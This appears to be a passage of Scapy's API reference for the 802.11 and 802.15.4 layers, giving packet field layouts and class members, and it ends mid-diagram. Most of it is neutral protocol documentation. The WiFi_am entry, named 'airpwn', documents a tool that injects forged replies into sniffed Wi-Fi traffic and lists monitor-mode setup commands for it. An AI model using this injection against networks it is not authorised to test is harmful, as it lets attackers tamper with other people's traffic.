class scapy.layers.dot11.PrismHeader(_pkt, /, *, msgcode=68, len=144, dev=b'', hosttime_did=0, hosttime_status=0, hosttime_len=0, hosttime=0, mactime_did=0, mactime_status=0, mactime_len=0, mactime=0, channel_did=0, channel_status=0, channel_len=0, channel=0, rssi_did=0, rssi_status=0, rssi_len=0, rssi=0, sq_did=0, sq_status=0, sq_len=0, sq=0, signal_did=0, signal_status=0, signal_len=0, signal=0, noise_did=0, noise_status=0, noise_len=0, noise=0, rate_did=0, rate_status=0, rate_len=0, rate=0, istx_did=0, istx_status=0, istx_len=0, istx=0, frmlen_did=0, frmlen_status=0, frmlen_len=0, frmlen=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L77-L129]

	Bases: Packet

iwpriv wlan0 monitor 3


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L125-L129]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            MSGCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              LEN                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DEV                              |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          HOSTTIME DID                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        HOSTTIME STATUS        |          HOSTTIME LEN         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            HOSTTIME                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MACTIME DID                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         MACTIME STATUS        |          MACTIME LEN          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            MACTIME                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          CHANNEL DID                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         CHANNEL STATUS        |          CHANNEL LEN          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            CHANNEL                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RSSI DID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          RSSI STATUS          |            RSSI LEN           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              RSSI                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             SQ DID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SQ STATUS           |             SQ LEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               SQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SIGNAL DID                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         SIGNAL STATUS         |           SIGNAL LEN          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             SIGNAL                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           NOISE DID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          NOISE STATUS         |           NOISE LEN           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             NOISE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RATE DID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          RATE STATUS          |            RATE LEN           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              RATE                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ISTX DID                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          ISTX STATUS          |            ISTX LEN           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ISTX                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           FRMLEN DID                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         FRMLEN STATUS         |           FRMLEN LEN          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FRMLEN                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. PrismHeader                         


PrismHeader fields






	msgcode

	LEIntField

	68



	len

	LEIntField

	144



	dev

	StrFixedLenField

	b''



	hosttime_did

	LEIntField

	0



	hosttime_status

	LEShortField

	0



	hosttime_len

	LEShortField

	0



	hosttime

	LEIntField

	0



	mactime_did

	LEIntField

	0



	mactime_status

	LEShortField

	0



	mactime_len

	LEShortField

	0



	mactime

	LEIntField

	0



	channel_did

	LEIntField

	0



	channel_status

	LEShortField

	0



	channel_len

	LEShortField

	0



	channel

	LEIntField

	0



	rssi_did

	LEIntField

	0



	rssi_status

	LEShortField

	0



	rssi_len

	LEShortField

	0



	rssi

	LEIntField

	0



	sq_did

	LEIntField

	0



	sq_status

	LEShortField

	0



	sq_len

	LEShortField

	0



	sq

	LEIntField

	0



	signal_did

	LEIntField

	0



	signal_status

	LEShortField

	0



	signal_len

	LEShortField

	0



	signal

	LESignedIntField

	0



	noise_did

	LEIntField

	0



	noise_status

	LEShortField

	0



	noise_len

	LEShortField

	0



	noise

	LEIntField

	0



	rate_did

	LEIntField

	0



	rate_status

	LEShortField

	0



	rate_len

	LEShortField

	0



	rate

	LEIntField

	0



	istx_did

	LEIntField

	0



	istx_status

	LEShortField

	0



	istx_len

	LEShortField

	0



	istx

	LEIntField

	0



	frmlen_did

	LEIntField

	0



	frmlen_status

	LEShortField

	0



	frmlen_len

	LEShortField

	0



	frmlen

	LEIntField

	0











	
payload_guess

	Possible sublayers:
Dot11










	
class scapy.layers.dot11.RSNCipherSuite(_pkt, /, *, oui=4012, cipher=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1099-L1122]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1121-L1122]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              OUI                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     CIPHER    |
+-+-+-+-+-+-+-+-+

                       Fig. RSNCipherSuite                        


RSNCipherSuite fields






	oui

	OUIField

	4012



	cipher

	ByteEnumField

	4















	
class scapy.layers.dot11.RadioTap(_pkt, /, *, version=0, pad=0, len=None, present=None, Ext=[], mac_timestamp=0, Flags=None, Rate=0, ChannelFrequency=0, ChannelFlags=None, dBm_AntSignal=0, dBm_AntNoise=0, Lock_Quality=0, Antenna=0, RXFlags=None, TXFlags=None, ChannelPlusFlags=None, ChannelPlusFrequency=0, ChannelPlusNumber=0, knownMCS=None, Ness_LSB=0, STBC_streams=0, FEC_type=0, HT_format=0, guard_interval=0, MCS_bandwidth=0, MCS_index=0, A_MPDU_ref=0, A_MPDU_flags=None, KnownVHT=None, PresentVHT=None, VHT_bandwidth=0, mcs_nss=0, GroupID=0, PartialAID=0, timestamp=0, ts_accuracy=0, ts_unit=0, ts_position=0, ts_flags=None, he_data1=0, he_data2=0, he_data3=0, he_data4=0, he_data5=0, he_data6=0, hemu_flags1=0, hemu_flags2=0, RU_channel1=[], RU_channel2=[], hemuou_per_user_1=32767, hemuou_per_user_2=63, hemuou_per_user_position=0, hemuou_per_user_known=<Flag 0 ()>, lsig_data1=<Flag 0 ()>, lsig_length=0, lsig_rate=0, tlvs=[], notdecoded=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L297-L565]

	Bases: Packet


	
aliastypes

	




	
deprecated_fields: Dict[str, Tuple[str, str]] = {'Channel': ('ChannelFrequency', '2.4.3'), 'ChannelFlags2': ('ChannelPlusFlags', '2.4.3'), 'ChannelNumber': ('ChannelPlusNumber', '2.4.3')}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      PAD      |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PRESENT                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              EXT              |         MAC TIMESTAMP         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |     FLAGS     |      RATE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        CHANNELFREQUENCY       |          CHANNELFLAGS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| DBM ANTSIGNAL |  DBM ANTNOISE |          LOCK QUALITY         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    ANTENNA    |            RXFLAGS            |    TXFLAGS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                CHANNELPLUSFLAGS               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |      CHANNELPLUSFREQUENCY     |CHANNELPLUSNUMB|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    KNOWNMCS   |N|STB|F|H|G|MCS|   MCS INDEX   |   A MPDU REF  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |  A MPDU FLAGS |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |    KNOWNVHT   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |   PRESENTVHT  | VHT BANDWIDTH |    MCS NSS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    GROUPID    |           PARTIALAID          |   TIMESTAMP   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |  TS ACCURACY  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |TS UNIT|TS POSI|    TS FLAGS   |    HE DATA1   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            HE DATA2           |    HE DATA3   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            HE DATA4           |    HE DATA5   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            HE DATA6           |  HEMU FLAGS1  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          HEMU FLAGS2          |  RU CHANNEL1  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          RU CHANNEL2          |HEMUOU PER USER|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |       HEMUOU PER USER 2       |HEMUOU PER USER|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     HEMUOU PER USER KNOWN     |           LSIG DATA1          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      LSIG LENGTH      |LSIG RA|              TLVS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           NOTDECODED          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. RadioTap                           


RadioTap fields






	version

	ByteField

	0



	pad

	ByteField

	0



	len

	LEShortField

	None



	present

	FlagsField

	None



	Ext

	PacketListField (Cond)

	[]



	mac_timestamp

	ReversePadField (Cond)

	0



	Flags

	FlagsField (Cond)

	None



	Rate

	ScalingField (Cond)

	0



	ChannelFrequency

	ReversePadField (Cond)

	0



	ChannelFlags

	FlagsField (Cond)

	None



	dBm_AntSignal

	ScalingField (Cond)

	0



	dBm_AntNoise

	ScalingField (Cond)

	0



	Lock_Quality

	ReversePadField (Cond)

	0



	Antenna

	ByteField (Cond)

	0



	RXFlags

	ReversePadField (Cond)

	None



	TXFlags

	ReversePadField (Cond)

	None



	ChannelPlusFlags

	ReversePadField (Cond)

	None



	ChannelPlusFrequency

	LEShortField (Cond)

	0



	ChannelPlusNumber

	ByteField (Cond)

	0



	knownMCS

	ReversePadField (Cond)

	None



	Ness_LSB

	BitField (Cond) (1 bit)

	0



	STBC_streams

	BitField (Cond) (2 bits)

	0



	FEC_type

	BitEnumField (Cond)

	0



	HT_format

	BitEnumField (Cond)

	0



	guard_interval

	BitEnumField (Cond)

	0



	MCS_bandwidth

	BitEnumField (Cond)

	0



	MCS_index

	ByteField (Cond)

	0



	A_MPDU_ref

	ReversePadField (Cond)

	0



	A_MPDU_flags

	FlagsField (Cond)

	None



	KnownVHT

	ReversePadField (Cond)

	None



	PresentVHT

	FlagsField (Cond)

	None



	VHT_bandwidth

	ByteEnumField (Cond)

	0



	mcs_nss

	StrFixedLenField (Cond)

	0



	GroupID

	ByteField (Cond)

	0



	PartialAID

	ShortField (Cond)

	0



	timestamp

	ReversePadField (Cond)

	0



	ts_accuracy

	LEShortField (Cond)

	0



	ts_unit

	BitEnumField (Cond)

	0



	ts_position

	BitField (Cond) (4 bits)

	0



	ts_flags

	FlagsField (Cond)

	None



	he_data1

	ReversePadField (Cond)

	0



	he_data2

	LEShortField (Cond)

	0



	he_data3

	LEShortField (Cond)

	0



	he_data4

	LEShortField (Cond)

	0



	he_data5

	LEShortField (Cond)

	0



	he_data6

	LEShortField (Cond)

	0



	hemu_flags1

	ReversePadField (Cond)

	0



	hemu_flags2

	LEShortField (Cond)

	0



	RU_channel1

	FieldListField (Cond)

	[]



	RU_channel2

	FieldListField (Cond)

	[]



	hemuou_per_user_1

	ReversePadField (Cond)

	32767



	hemuou_per_user_2

	LEShortField (Cond)

	63



	hemuou_per_user_position

	ByteField (Cond)

	0



	hemuou_per_user_known

	FlagsField (Cond)

	<Flag 0 ()>



	lsig_data1

	ReversePadField (Cond)

	<Flag 0 ()>



	lsig_length

	BitField (Cond) (12 bits)

	0



	lsig_rate

	BitField (Cond) (4 bits)

	0



	tlvs

	ReversePadField (Cond)

	[]



	notdecoded

	StrLenField

	b''











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L552-L555]

	




	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L562-L565]

	




	
post_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L557-L560]

	








	
class scapy.layers.dot11.RadioTapExtendedPresenceMask(_pkt, /, *, present=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L231-L254]

	Bases: Packet

RadioTapExtendedPresenceMask should be instantiated by passing an
index= kwarg, stating which place the item has in the list.


	Passing index will update the b[x] fields accordingly to the index.
	
	e.g.
	>>> a = RadioTapExtendedPresenceMask(present="b0+b12+b29+Ext")
>>> b = RadioTapExtendedPresenceMask(index=1, present="b33+b45+b59+b62")
>>> pkt = RadioTap(present="Ext", Ext=[a, b])














	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PRESENT                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. RadioTapExtendedPresenceMask                 


RadioTapExtendedPresenceMask fields






	present

	FlagsField

	None











	
guess_payload_class(pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L253-L254]

	








	
class scapy.layers.dot11.RadioTapTLV(_pkt, /, *, type=0, length=None, oui=0, subtype=0, presence_type=0, reserved=0, data=b'', pad=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L259-L292]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L291-L292]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              OUI                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    SUBTYPE    |         PRESENCE TYPE         |    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              DATA             |      PAD      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                         Fig. RadioTapTLV                         


RadioTapTLV fields






	type

	LEShortEnumField

	0



	length

	LEShortField

	None



	oui

	OUIField (Cond)

	0



	subtype

	ByteField (Cond)

	0



	presence_type

	LEShortField (Cond)

	0



	reserved

	LEShortField (Cond)

	0



	data

	StrLenField

	b''



	pad

	StrLenField

	None











	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L284-L289]

	








	
class scapy.layers.dot11.SubelemTLV(_pkt, /, *, type=0, len=None, value=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L1669-L1679]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |      LEN      |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. SubelemTLV                          


SubelemTLV fields






	type

	ByteField

	0



	len

	LEFieldLenField

	None



	value

	FieldListField

	[]















	
class scapy.layers.dot11.WiFi_am(self, iffrom=<NetworkInterface eth0 [UP+BROADCAST+RUNNING+SLAVE]>, ifto=<NetworkInterface eth0 [UP+BROADCAST+RUNNING+SLAVE]>, replace='', pattern='', ignorepattern='')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L2017-L2086]

	Bases: AnsweringMachine

Before using this, initialize “iffrom” and “ifto” interfaces:
iwconfig iffrom mode monitor
iwpriv orig_ifto hostapd 1
ifconfig ifto up
note: if ifto=wlan0ap then orig_ifto=wlan0
note: ifto and iffrom must be set on the same channel
ex:
ifconfig eth1 up
iwconfig eth1 mode monitor
iwconfig eth1 channel 11
iwpriv wlan0 hostapd 1
ifconfig wlan0ap up
iwconfig wlan0 channel 11
iwconfig wlan0 essid dontexist
iwconfig wlan0 mode managed


	
filter: str | None = None

	




	
function_name = 'airpwn'

	




	
is_request(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L2045-L2058]

	




	
make_reply(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L2060-L2076]

	




	
optam0: Dict[str, Any]

	




	
optam1: Dict[str, Any]

	




	
optam2: Dict[str, Any]

	




	
optsend: Dict[str, Any]

	




	
optsniff: Dict[str, Any]

	




	
parse_options(iffrom=<NetworkInterface eth0 [UP+BROADCAST+RUNNING+SLAVE]>, ifto=<NetworkInterface eth0 [UP+BROADCAST+RUNNING+SLAVE]>, replace='', pattern='', ignorepattern='')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L2037-L2043]

	




	
print_reply(query, *reply)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L2078-L2080]

	




	
send_reply(reply)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L2082-L2083]

	




	
sniff()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot11.py#L2085-L2086]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.layers.dot15d4

Wireless MAC according to IEEE 802.15.4.


	
class scapy.layers.dot15d4.Dot15d4(_pkt, /, *, fcf_reserved_1=0, fcf_panidcompress=0, fcf_ackreq=0, fcf_pending=0, fcf_security=0, fcf_frametype=0, fcf_srcaddrmode=0, fcf_framever=0, fcf_destaddrmode=2, fcf_reserved_2=0, seqnum=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L104-L152]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L135-L142]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|F|F|F|F|F|FCF F|FCF|FCF|FCF|FCF|     SEQNUM    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. Dot15d4                           


Dot15d4 fields






	fcf_reserved_1

	BitField  (1 bit)

	0



	fcf_panidcompress

	BitEnumField

	0



	fcf_ackreq

	BitEnumField

	0



	fcf_pending

	BitEnumField

	0



	fcf_security

	BitEnumField

	0



	fcf_frametype

	BitEnumField

	0



	fcf_srcaddrmode

	BitEnumField

	0



	fcf_framever

	BitField  (2 bits)

	0



	fcf_destaddrmode

	BitEnumField

	2



	fcf_reserved_2

	BitField  (2 bits)

	0



	seqnum

	ByteField

	1











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L123-L133]

	




	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L120-L121]

	




	
payload_guess

	Possible sublayers:
Dot15d4Ack, Dot15d4Beacon, Dot15d4Cmd, Dot15d4Data






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L144-L152]

	








	
class scapy.layers.dot15d4.Dot15d4Ack(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L190-L192]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	








	
class scapy.layers.dot15d4.Dot15d4AuxSecurityHeader(_pkt, /, *, sec_sc_reserved=0, sec_sc_keyidmode=0, sec_sc_seclevel=0, sec_framecounter=0, sec_keyid_keysource=None, sec_keyid_keyindex=255)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L195-L222]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|SEC S|SEC|SEC S|                SEC FRAMECOUNTER               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |SEC KEYID KEYSOURC|SEC KEYID KEYIN|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. Dot15d4AuxSecurityHeader                   


Dot15d4AuxSecurityHeader fields






	sec_sc_reserved

	BitField  (3 bits)

	0



	sec_sc_keyidmode

	BitEnumField

	0



	sec_sc_seclevel

	BitEnumField

	0



	sec_framecounter

	XLEIntField

	0



	sec_keyid_keysource

	MultipleTypeField (XLEIntField, LELongField, StrFixedLenField)

	b''



	sec_keyid_keyindex

	XByteField (Cond)

	255















	
class scapy.layers.dot15d4.Dot15d4Beacon(_pkt, /, *, src_panid=0, src_addr=None, aux_sec_header=<Dot15d4AuxSecurityHeader  |>, sf_sforder=15, sf_beaconorder=15, sf_assocpermit=0, sf_pancoord=0, sf_reserved=0, sf_battlifeextend=0, sf_finalcapslot=15, gts_spec_permit=1, gts_spec_reserved=0, gts_spec_desccount=0, gts_dir_reserved=0, gts_dir_mask=0, pa_reserved_1=0, pa_num_long=0, pa_reserved_2=0, pa_num_short=0, pa_short_addresses=[], pa_long_addresses=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L264-L310]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SRC PANID           |            SRC ADDR           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         AUX SEC HEADER        |SF SFOR|SF BEAC|S|S|S|S|SF FINA|
